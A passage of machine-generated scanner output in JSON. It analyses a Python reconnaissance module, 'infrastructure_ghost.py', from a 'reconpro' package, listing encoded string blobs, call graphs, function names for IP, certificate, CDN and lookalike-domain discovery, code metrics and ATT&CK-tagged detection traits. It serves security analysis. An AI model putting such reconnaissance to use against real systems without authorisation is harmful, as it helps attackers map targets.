"aMwSo\u0026/[%op?ToUwGS/\u003cavwK(atj\u003c8y\u0026sDbaw^8%C4\u003eF#AV^+YBy!%7x(v(i\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%2arR^Hv}oE:v@c7awm5\u003eQByupPayxeizEl):zEl)\u0026z/]O$wmY\u003c]v@#B6zyxNGvQ%y]vqfQ^A+frmy\u0026\u003c.HayX=2wNxO2y+cYJx(dB1B-YeSC4CYdw{E:9y\u0026.3", "ln": 72986, "col": 6, "line": 1922 }, { "b": "arR)K\u0026/[#MLZ\u003c(MxKL%[at(h5raPMMzF%ufxl+Q#BywV{avx%/B97#lx(mMa\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3lQDlaARg8xKtm=B-RUoA:Ju=ByupPayxeizEmG%v}YjVy\u0026%/vwPzH5xdd?zvQ%y]vqfQ^A+frmy\u0026\u003c.E3lQDlay/kgB97#lB09Q*By!@}uT)[{B97#luU0O!", "ln": 74582, "col": 3, "line": 1956 }, { "b": "\u0026/[%op?ToUwGS((awuY(yHI3[yH[RWzF0]$B98CBv@#\u003clwGTxLBy!%7x(v(i\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%2arR^Hy\u0026slcvqGT[wNw$RByupPayxeizEmi#z!\u0026=$x\u003e}o!wmY\u003c]v@#B6zyx4lzddc@efG1RvQ%y]vqfQ^A+frmy\u0026\u003c.Hay/I2wmoN*efG4GzdNTdBsXLTwPzF", "ln": 76161, "col": 10, "line": 1987 }, { "b": "dgcz8arR^KaMwSo\u0026/[%op?ToUwGS@[avg9\u003evpK6}q*0a)vpJ\u003c\u003eq!6-^x(mMa\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8-arR!Fv@Dy4zF77Payxh1z/Pz@vruQ1v@2B)B-I85v}v4}arR^HarR^Hx(EA\u0026vrt{eaAIWmwn=r[x(mo#wPJ0gBAn#Qv@#6*vrt{eay!@1uT)[\u003cB.1\u0026\u0026vrq", "ln": 79572, "col": 9, "line": 2047 } ], "depth": 1, "facts": { "imp": [ [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "round" ], [ "", "_ip_to_int" ], [ "", "_ip_to_int" ], [ "", "_ip_to_int" ], [ "", "ip.strip.split" ], [ "", "ip.strip" ], [ "", "len" ], [ "", "ValueError" ], [ "", "int" ], [ "", "int" ], [ "", "int" ], [ "", "int" ], [ "", "target.strip.lower" ], [ "", "target.strip" ], [ "", "t.startswith" ], [ "", "t.startswith" ], [ "", "urllib.parse.urlparse" ], [ "", "t.rstrip" ], [ "", "t.split" ], [ "", "sorted" ], [ "", "set" ], [ "", "sorted" ], [ "", "set" ], [ "", "sorted" ], [ "", "set" ], [ "", "hashlib.sha256.hexdigest" ], [ "", "hashlib.sha256" ], [ "", "blob.encode" ], [ "", "a.lower.strip" ], [ "", "a.lower" ], [ "", "b.lower.strip" ], [ "", "b.lower" ], [ "", "a.rsplit" ], [ "", "b.rsplit" ], [ "", "len" ], [ "", "len" ], [ "", "zip" ], [ "", "max" ], [ "", "len" ], [ "", "len" ], [ "", "socket.getaddrinfo" ], [ "", "ips.append" ], [ "", "set" ], [ "", "range" ], [ "", "seen.add" ], [ "", "urllib.parse.urlparse" ], [ "", "_resolve_dns" ], [ "", "ips.append" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get.get" ], [ "", "resp.get" ], [ "", "resp.get.get" ], [ "", "resp.get" ], [ "", "location.startswith" ], [ "", "location.startswith" ], [ "", "location.lstrip" ], [ "", "inspection_context" ], [ "", "socket.create_connection" ], [ "", "ctx.wrap_socket" ], [ "", "tls.getpeercert" ], [ "", "ssl.DER_cert_to_PEM_cert" ], [ "", "cert_dict.splitlines" ], [ "", "line.strip" ], [ "", "line.startswith" ], [ "", "line.split" ], [ "", "part.strip" ], [ "", "part.startswith" ], [ "", "len" ], [ "", "ips.append" ], [ "", "_extract_domain" ], [ "", "_resolve_dns" ], [ "", "all_ips.append" ], [ "", "_discover_ips_from_redirects" ], [ "", "all_ips.append" ], [ "", "_discover_ips_from_certs" ], [ "", "all_ips.append" ], [ "", "len" ], [ "", "inspection_context" ], [ "", "socket.create_connection" ], [ "", "ctx.wrap_socket" ], [ "", "tls.getpeercert" ], [ "", "cert.get" ], [ "", "subject_parts.append" ], [ "", "cert.get" ], [ "", "issuer_parts.append" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "info.sans.append" ], [ "", "str" ], [ "", "str" ], [ "", "headers.items" ], [ "", "headers.get" ], [ "", "TECH_STACK_DB.items" ], [ "", "tech_info.get" ], [ "", "pat.search" ], [ "", "tech_info.get" ], [ "", "pat.search" ], [ "", "tech_info.get" ], [ "", "pat.search" ], [ "", "tech_info.get" ], [ "", "pat.search" ], [ "", "detected.append" ], [ "", "_resolve_dns" ], [ "", "time.monotonic" ], [ "", "http_probe" ], [ "", "int" ], [ "", "time.monotonic" ], [ "", "resp.get" ], [ "", "_detect_tech_stack" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "_detect_tech_stack" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "_get_certificate_info" ], [ "", "cert_info.get" ], [ "", "set" ], [ "", "all_subs.add" ], [ "", "sorted" ], [ "", "_scan_subdomain_infrastructure" ], [ "", "results.append" ], [ "", "urllib.parse.quote" ], [ "", "http_probe" ], [ "", "max" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "json.loads" ], [ "", "resp.get" ], [ "", "set" ], [ "", "set" ], [ "", "set" ], [ "", "entry.get" ], [ "", "name_value.startswith" ], [ "", "entry.get" ], [ "", "datetime.strptime" ], [ "", "not_after.split" ], [ "", "datetime.utcnow" ], [ "", "name_value.split" ], [ "", "name.strip.lstrip" ], [ "", "name.strip" ], [ "", "subdomains.add" ], [ "", "entry.get" ], [ "", "entry.get" ], [ "", "issuers.add" ], [ "", "entry.get" ], [ "", "issuer_name.split" ], [ "", "part.strip" ], [ "", "part.split" ], [ "", "orgs.add" ], [ "", "result.entries.append" ], [ "", "entry.get" ], [ "", "entry.get" ], [ "", "sorted" ], [ "", "sorted" ], [ "", "sorted" ], [ "", "k.lower" ], [ "", "headers.items" ], [ "", "CDN_FINGERPRINTS.items" ], [ "", "cdn_info.get.items" ], [ "", "cdn_info.get" ], [ "", "hdr_name.lower" ], [ "", "isinstance" ], [ "", "hdr_val_pat.search" ], [ "", "cdn_info.get" ], [ "", "pat.search" ], [ "", "detected.append" ], [ "", "headers.items" ], [ "", "CLOUD_PROVIDER_SIGNS.items" ], [ "", "prov_info.get" ], [ "", "_ip_in_range" ], [ "", "prov_info.get" ], [ "", "pat.search" ], [ "", "prov_info.get" ], [ "", "pat.search" ], [ "", "prov_info.get" ], [ "", "pat.search" ], [ "", "detected.append" ], [ "", "set" ], [ "", "set" ], [ "", "r.get" ], [ "", "urllib.parse.urlparse" ], [ "", "hosts_to_check.insert" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "_resolve_dns" ], [ "", "_detect_cdn" ], [ "", "_detect_cloud_provider" ], [ "", "all_cdns.update" ], [ "", "all_clouds.update" ], [ "", "sorted" ], [ "", "sorted" ], [ "", "len" ], [ "", "len" ], [ "", "r.get" ], [ "", "set" ], [ "", "list" ], [ "", "host_techs.keys" ], [ "", "enumerate" ], [ "", "list" ], [ "", "visited.add" ], [ "", "range" ], [ "", "len" ], [ "", "set" ], [ "", "set" ], [ "", "len" ], [ "", "cluster.hosts.append" ], [ "", "sorted" ], [ "", "set" ], [ "", "set" ], [ "", "set" ], [ "", "visited.add" ], [ "", "len" ], [ "", "clusters.append" ], [ "", "sorted" ], [ "", "len" ], [ "", "tech_hosts.items" ], [ "", "len" ], [ "", "sorted" ], [ "", "tech_hosts.items" ], [ "", "sorted" ], [ "", "tech_hosts.keys" ], [ "", "_extract_domain" ], [ "", "base_domain.split" ], [ "", "len" ], [ "", "len" ], [ "", "candidates_name.append" ], [ "", "_resolve_dns" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "_detect_tech_stack" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "_name_similarity" ], [ "", "lookalikes.append" ], [ "", "round" ], [ "", "resp.get" ], [ "", "tuple" ], [ "", "sorted" ], [ "", "r.get" ], [ "", "len" ], [ "", "all_techs.items" ], [ "", "len" ], [ "", "any" ], [ "", "lookalikes.append" ], [ "", "len" ], [ "", "r.get.get" ], [ "", "r.get" ], [ "", "r.get.get" ], [ "", "r.get" ], [ "", "cert_org_hosts.setdefault.append" ], [ "", "cert_org_hosts.setdefault" ], [ "", "cert_org_hosts.setdefault.append" ], [ "", "cert_org_hosts.setdefault" ], [ "", "cert_org_hosts.items" ], [ "", "len" ], [ "", "any" ], [ "", "lookalikes.append" ], [ "", "len" ], [ "", "len" ], [ "", "sum" ], [ "", "l.get" ], [ "", "sum" ], [ "", "l.get" ], [ "", "sum" ], [ "", "l.get" ], [ "", "ip_data.get" ], [ "", "ct_data.get" ], [ "", "len" ], [ "", "sum" ], [ "", "r.get" ], [ "", "all_techs.extend" ], [ "", "r.get" ], [ "", "ip_data.get" ], [ "", "_fingerprint_hash" ], [ "", "len" ], [ "", "sorted" ], [ "", "set" ], [ "", "len" ], [ "", "set" ], [ "", "sorted" ], [ "", "set" ], [ "", "ct_data.get" ], [ "", "time.time" ], [ "", "_extract_domain" ], [ "", "len" ], [ "", "drifts.append" ], [ "", "previous.get" ], [ "", "current_fp.get" ], [ "", "drifts.append" ], [ "", "set" ], [ "", "previous.get" ], [ "", "set" ], [ "", "current_fp.get" ], [ "", "drifts.append" ], [ "", "sorted" ], [ "", "drifts.append" ], [ "", "sorted" ], [ "", "previous.get" ], [ "", "current_fp.get" ], [ "", "drifts.append" ], [ "", "set" ], [ "", "previous.get" ], [ "", "set" ], [ "", "current_fp.get" ], [ "", "drifts.append" ], [ "", "sorted" ], [ "", "ip_data.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "len" ], [ "", "sum" ], [ "", "r.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "ct_data.get" ], [ "", "ct_data.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "tech_cluster_data.get" ], [ "", "len" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "cdn_cloud_data.get" ], [ "", "any" ], [ "", "factors.append" ], [ "", "round" ], [ "", "factors.append" ], [ "", "cdn_cloud_data.get" ], [ "", "len" ], [ "", "len" ], [ "", "factors.append" ], [ "", "round" ], [ "", "len" ], [ "", "lookalike_data.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "drift_data.get" ], [ "", "factors.append" ], [ "", "round" ], [ "", "str" ], [ "", "len" ], [ "", "drift_data.get" ], [ "", "drift_data.get" ], [ "", "any" ], [ "", "r.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "ct_data.get" ], [ "", "min" ], [ "", "factors.append" ], [ "", "round" ], [ "", "min" ], [ "", "round" ], [ "", "_extract_domain" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_run_ip_discovery" ], [ "", "ip_data.get" ], [ "", "add" ], [ "", "ip_data.sources.get" ], [ "", "ip_data.sources.get" ], [ "", "ip_data.sources.get" ], [ "", "add" ], [ "", "CLOUD_PROVIDER_SIGNS.items" ], [ "", "prov_info.get" ], [ "", "_ip_in_range" ], [ "", "cloud_ips.setdefault.append" ], [ "", "cloud_ips.setdefault" ], [ "", "cloud_ips.items" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "cloud_ips.items" ], [ "", "_mine_ct_logs" ], [ "", "ct_data.get" ], [ "", "ct_data.get" ], [ "", "add" ], [ "", "ct_data.get" ], [ "", "ct_data.get" ], [ "", "ct_data.get" ], [ "", "add" ], [ "", "ct_data.get" ], [ "", "add" ], [ "", "_dread" ], [ "", "add" ], [ "", "_dread" ], [ "", "add" ], [ "", "_dread" ], [ "", "_run_subdomain_scan" ], [ "", "r.get" ], [ "", "add" ], [ "", "any" ], [ "", "r.get" ], [ "", "add" ], [ "", "r.get" ], [ "", "r.get" ], [ "", "_dread" ], [ "", "r.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "cert.get" ], [ "", "issuer.split" ], [ "", "cn.endswith" ], [ "", "add" ], [ "", "_dread" ], [ "", "_run_cdn_cloud_detection" ], [ "", "cdn_cloud_data.get" ], [ "", "cdn_cloud_data.get" ], [ "", "add" ], [ "", "cdn_cloud_data.get" ], [ "", "json.dumps" ], [ "", "cdn_cloud_data.get" ], [ "", "add" ], [ "", "_dread" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "cdn_cloud_data.get" ], [ "", "json.dumps" ], [ "", "cdn_cloud_data.get" ], [ "", "_run_tech_clustering" ], [ "", "tech_cluster_data.get" ], [ "", "tech_cluster_data.get" ], [ "", "tech_cluster_data.get" ], [ "", "add" ], [ "", "cl.get" ], [ "", "add" ], [ "", "_run_lookalike_detection" ], [ "", "lookalike_data.get" ], [ "", "lookalike_data.get" ], [ "", "lookalike_data.get" ], [ "", "lookalike_data.get" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "lookalike_data.get" ], [ "", "_dread" ], [ "", "lookalike_data.get" ], [ "", "l.get" ], [ "", "l.get" ], [ "", "add" ], [ "", "l.get" ], [ "", "l.get" ], [ "", "l.get" ], [ "", "_dread" ], [ "", "_compute_infra_fingerprint" ], [ "", "_run_drift_detection" ], [ "", "drift_data.get" ], [ "", "drift_data.get" ], [ "", "detail.get" ], [ "", "detail.get" ], [ "", "add" ], [ "", "_dread" ], [ "", "add" ], [ "", "_score_attack_surface" ], [ "", "scoring.get" ], [ "", "scoring.get" ], [ "", "scoring.get" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "_dread" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "_dread" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "_dread" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "_dread" ], [ "", "add" ], [ "", "json.dumps" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..http_layer.default_limiter" ], [ "", "..http_layer.http_probe" ], [ "", "..http_layer.inspection_context" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "Set" ], [ "", "Tuple" ], [ "", "datetime" ], [ "", "hashlib" ], [ "", "json" ], [ "", "re" ], [ "", "socket" ], [ "", "ssl" ], [ "", "ssl" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.error" ], [ "", "urllib.parse" ] ], "mbr": [ "CDN_FINGERPRINTS.items", "CLOUD_PROVIDER_SIGNS.items", "TECH_STACK_DB.items", "a.lower", "a.lower.strip", "a.rsplit", "all_cdns.update", "all_clouds.update", "all_ips.append", "all_subs.add", "all_techs.extend", "all_techs.items", "b.lower", "b.lower.strip", "b.rsplit", "base_domain.split", "blob.encode", "candidates_name.append", "cdn_cloud_data.get", "cdn_info.get", "cdn_info.get.items", "cert.get", "cert_dict.splitlines", "cert_info.get", "cert_org_hosts.items", "cert_org_hosts.setdefault", "cert_org_hosts.setdefault.append", "cl.get", "cl.hosts", "cloud_ips.items", "cloud_ips.setdefault", "cloud_ips.setdefault.append", "cluster.hosts", "cluster.hosts.append", "cluster.shared_techs", "clusters.append", "cn.endswith", "ct_data.error", "ct_data.get", "ctx.wrap_socket", "current_fp.fingerprint", "current_fp.get", "current_fp.ip_count", "current_fp.subdomain_count", "current_fp.tech_count", "datetime.strptime", "datetime.utcnow", "detail.get", "detected.append", "drift_data.get", "drifts.append", "entry.get", "f.detail", "f.max", "f.name", "f.points", "factors.append", "findings.append", "hashlib.sha256", "hashlib.sha256.hexdigest", "hdr_name.lower", "hdr_val_pat.search", "headers.get", "headers.items", "host_techs.keys", "hosts_to_check.insert", "info.error", "info.http_reachable", "info.issuer", "info.not_after", "info.not_before", "info.org", "info.resolves", "info.sans", "info.sans.append", "info.serial", "info.subject", "ip.strip", "ip.strip.split", "ip_data.get", "ip_data.sources", "ip_data.sources.get", "ips.append", "issuer.split", "issuer_name.split", "issuer_parts.append", "issuers.add", "json.JSONDecodeError", "json.dumps", "json.loads", "k.lower", "l.get", "l.host", "l.status", "l.type", "line.split", "line.startswith", "line.strip", "location.lstrip", "location.startswith", "lookalike_data.get", "lookalikes.append", "name.strip", "name.strip.lstrip", "name_value.split", "name_value.startswith", "not_after.split", "orgs.add", "parsed.hostname", "parsed.netloc", "parsed.scheme", "part.split", "part.startswith", "part.strip", "pat.search", "previous.fingerprint", "previous.get", "prov_info.get", "r.get", "r.get.get", "r.host", "r.status", "re.I", "re.Pattern", "re.compile", "resp.get", "resp.get.get", "resp.status", "result.cert", "result.cert_count", "result.drift_details", "result.drift_detected", "result.entries", "result.entries.append", "result.error", "result.expired_count", "result.historical_snapshots", "result.http_reachable", "result.ips", "result.issuers", "result.organizations", "result.resolves", "result.response_time_ms", "result.status", "result.subdomains", "result.tech_stack", "result.wildcard_count", "results.append", "scoring.get", "seen.add", "socket.AF_INET", "socket.AF_INET6", "socket.SOCK_STREAM", "socket.create_connection", "socket.error", "socket.gaierror", "socket.getaddrinfo", "sources.certificates", "sources.dns", "sources.http_redirects", "ssl.DER_cert_to_PEM_cert", "ssl.SSLError", "subdomains.add", "subject_parts.append", "t.rstrip", "t.split", "t.startswith", "target.strip", "target.strip.lower", "tech_cluster_data.get", "tech_hosts.items", "tech_hosts.keys", "tech_info.get", "time.monotonic", "time.time", "tls.getpeercert", "urllib.parse", "urllib.parse.quote", "urllib.parse.urlparse", "urllib.parse.urlparse.hostname", "visited.add" ], "tgt": [ "CDN_FINGERPRINTS.items", "CLOUD_PROVIDER_SIGNS.items", "Finding", "TECH_STACK_DB.items", "ValueError", "_compute_infra_fingerprint", "_detect_cdn", "_detect_cloud_provider", "_detect_tech_stack", "_discover_ips_from_certs", "_discover_ips_from_redirects", "_dread", "_extract_domain", "_fingerprint_hash", "_get_certificate_info", "_ip_in_range", "_ip_to_int", "_mine_ct_logs", "_name_similarity", "_resolve_dns", "_run_cdn_cloud_detection", "_run_drift_detection", "_run_ip_discovery", "_run_lookalike_detection", "_run_subdomain_scan", "_run_tech_clustering", "_scan_subdomain_infrastructure", "_score_attack_surface", "a.lower", "a.lower.strip", "a.rsplit", "add", "all_cdns.update", "all_clouds.update", "all_ips.append", "all_subs.add", "all_techs.extend", "all_techs.items", "any", "b.lower", "b.lower.strip", "b.rsplit", "base_domain.split", "blob.encode", "candidates_name.append", "cdn_cloud_data.get", "cdn_info.get", "cdn_info.get.items", "cert.get", "cert_dict.splitlines", "cert_info.get", "cert_org_hosts.items", "cert_org_hosts.setdefault", "cert_org_hosts.setdefault.append", "cl.get", "cloud_ips.items", "cloud_ips.setdefault", "cloud_ips.setdefault.append", "cluster.hosts.append", "clusters.append", "cn.endswith", "ct_data.get", "ctx.wrap_socket", "current_fp.get", "datetime.strptime", "datetime.utcnow", "detail.get", "detected.append", "drift_data.get", "drifts.append", "entry.get", "enumerate", "factors.append", "findings.append", "hashlib.sha256", "hashlib.sha256.hexdigest", "hdr_name.lower", "hdr_val_pat.search", "headers.get", "headers.items", "host_techs.keys", "hosts_to_check.insert", "http_probe", "info.sans.append", "inspection_context", "int", "ip.strip", "ip.strip.split", "ip_data.get", "ip_data.sources.get", "ips.append", "isinstance", "issuer.split", "issuer_name.split", "issuer_parts.append", "issuers.add", "json.dumps", "json.loads", "k.lower", "l.get", "len", "line.split", "line.startswith", "line.strip", "list", "location.lstrip", "location.startswith", "lookalike_data.get", "lookalikes.append", "max", "min", "name.strip", "name.strip.lstrip", "name_value.split", "name_value.startswith", "not_after.split", "orgs.add", "part.split", "part.startswith", "part.strip", "pat.search", "previous.get", "prov_info.get", "r.get", "r.get.get", "range", "re.compile", "resp.get", "resp.get.get", "result.entries.append", "results.append", "round", "scoring.get", "seen.add", "set", "socket.create_connection", "socket.getaddrinfo", "sorted", "ssl.DER_cert_to_PEM_cert", "str", "subdomains.add", "subject_parts.append", "sum", "t.rstrip", "t.split", "t.startswith", "target.strip", "target.strip.lower", "tech_cluster_data.get", "tech_hosts.items", "tech_hosts.keys", "tech_info.get", "time.monotonic", "time.time", "tls.getpeercert", "tuple", "urllib.parse.quote", "urllib.parse.urlparse", "visited.add", "zip" ], "funcs": [ [ "_dread", 22042 ], [ "_ip_in_range", 22278 ], [ "_ip_to_int", 22548 ], [ "_extract_domain", 22782 ], [ "_fingerprint_hash", 23117 ], [ "_name_similarity", 23497 ], [ "_resolve_dns", 24674 ], [ "_discover_ips_from_redirects", 25166 ], [ "_discover_ips_from_certs", 26445 ], [ "_run_ip_discovery", 28217 ], [ "_get_certificate_info", 30828 ], [ "_detect_tech_stack", 33140 ], [ "_scan_subdomain_infrastructure", 34525 ], [ "_run_subdomain_scan", 36149 ], [ "_mine_ct_logs", 37359 ], [ "_detect_cdn", 40780 ], [ "_detect_cloud_provider", 41930 ], [ "_run_cdn_cloud_detection", 43280 ], [ "_run_tech_clustering", 45368 ], [ "_run_lookalike_detection", 48284 ], [ "_compute_infra_fingerprint", 53071 ], [ "_run_drift_detection", 54094 ], [ "_score_attack_surface", 57514 ], [ "run_infrastructure_ghost", 63600 ], [ "add", 64348 ] ], "metrics": { "ast": { "op.add": 32, "op.bor": 1, "op.div": 2, "op.lor": 13, "op.mul": 10, "op.shl": 3, "op.sub": 12, "op.band": 3, "op.land": 20, "max_depth": 28, "call_count": 717, "node_count": 23327, "member_count": 181, "max_array_len": 114, "op_density.add": 0, "op_density.bor": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.shl": 0, "op_density.sub": 0, "op_density.band": 0, "op_density.land": 0, "max_concat_chain": 5, "member_depth_max": 4, "max_numeric_array": 5 }, "file": { "size": 82980, "entropy": 4.8 }, "text": { "lines": 2116, "top_char": 101, "max_ws_run": 2, "digit_ratio": 0.05, "space_count": 21765, "char_entropy": 4.8, "unique_chars": 100, "top_char_null": 0, "lines_over_200": 22, "string_density": 0.72, "top_char_ratio": 0.05, "avg_line_length": 38.22, "max_line_length": 218, "non_ascii_ratio": 0.07, "empty_line_ratio": 0.08, "last_line_length": 19, "long_token_count": 23, "whitespace_ratio": 0.29, "identifier_density": 1.51, "line_length_stddev": 31.05, "encoded_string_ratio": 0, "normalized_string_count": 33.11, "repeated_char_sequences": 725, "suspicious_string_ratio": 0, "suspicious_identifier_ratio": 0.04, "normalized_unique_identifiers": 34.22 }, "binds": { "count": 311 }, "binary": { "peak_region_bytes": 54272, "peak_region_entropy": 4.86 }, "source": { "function_count": 25 }, "imports": { "count": 22, "aliased": 1, "relative": 5, "stdlib_count": 11, "stdlib_ratio": 0.5, "relative_ratio": 0.23, "third_party_count": 11, "third_party_ratio": 0.5 }, "strings": { "sql": 5, "bytes": 23428, "count": 1523, "shell": 2, "ip_count": 169, "url_count": 9, "avg_length": 15.38, "max_length": 843, "path_count": 3, "avg_entropy": 2.77, "empty_count": 37, "entropy_stddev": 0.9, "base64_candidates": 1 }, "comments": { "chars": 8417, "count": 131, "lines": 131, "to_code_ratio": 0.07 }, "functions": { "count": 25, "nested": 1, "density": 1.18, "avg_params": 3.28, "code_ratio": 0.64, "max_params": 8, "length_stddev": 80.53, "over_100_lines": 2, "avg_name_length": 18.12, "avg_length_lines": 54.56, "max_length_lines": 407, "min_length_lines": 3, "avg_nesting_depth": 0.04, "many_params_count": 1, "max_nesting_depth": 1, "high_entropy_names": 8, "single_char_params": 2, "avg_param_name_length": 7.41 }, "identifiers": { "count": 3205, "unique": 378, "avg_length": 8.47, "max_length": 30, "min_length": 1, "avg_entropy": 2.52, "reuse_ratio": 0.12, "length_stddev": 4.88, "has_digit_ratio": 0.01, "sequential_names": 14, "single_char_count": 15, "single_char_ratio": 0.04, "high_entropy_count": 15, "high_entropy_ratio": 0.04, "all_lowercase_ratio": 0.92, "all_uppercase_ratio": 0.03, "numeric_suffix_count": 2, "underscore_prefix_count": 26 } } }, "id": 131, "mol": "O₉(DyAlAsCCaErLaPrXe)H₅(Cm₁₃Cr₃Db₅FOs)Md(In)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/infrastructure_ghost.py", "pid": 0, "risk": 57, "sha": "284833d55efcd09efee6900ae3ee4ad9834a5aa58390fd1e89e3125d02d740e5", "size": 82980, "traits": [ { "id": "metadata/file/catalog/service::service-name-digitalocean", "conf": 0.6, "crit": 3, "desc": "DigitalOcean service name", "spans": [ [ 5359, 12 ] ] }, { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "spans": [ [ 889, 7 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 797, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 23816, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 69019, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 65, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 26796, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 72599, 0 ] ] }, { "id": "micro-behaviors/communications/dns/label::python-dns-query-reference", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python DNS resolution API reference", "spans": [ [ 24898, 18 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::getaddrinfo", "conf": 0.85, "crit": 3, "desc": "socket.getaddrinfo() DNS lookup", "spans": [ [ 24898, 18 ] ] }, { "id": "micro-behaviors/communications/http/form::viewstate-field", "conf": 0.85, "crit": 3, "desc": "ASP.NET __VIEWSTATE form field", "spans": [ [ 18030, 11 ] ] }, { "id": "micro-behaviors/communications/http/server/listener::caddy-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "Caddy web server", "spans": [ [ 14657, 5 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--azure", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Azure)", "spans": [ [ 3090, 5 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--cloudflare", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Cloudflare)", "spans": [ [ 6429, 10 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--fastly", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Fastly)", "spans": [ [ 10866, 6 ] ] }, { "id": "micro-behaviors/communications/http/url/query::interpolated-identifier-query-value", "conf": 0.9, "crit": 3, "desc": "URL query interpolates an identifier value", "spans": [ [ 37329, 11 ] ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-162-158-159-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (162.158-159 range)", "spans": [ [ 7281, 15 ] ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-172-64-71-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (172.64-71 range)", "spans": [ [ 7328, 14 ] ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-173-245-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (173.245.48-63 range)", "spans": [ [ 7376, 14 ] ] }, { "id": "micro-behaviors/communications/proxy/relay::relay-target-connect-method", "atk": "T1090,T1572", "conf": 0.86, "crit": 3, "desc": "Client API create_connection call", "spans": [ [ 26801, 24 ] ] }, { "id": 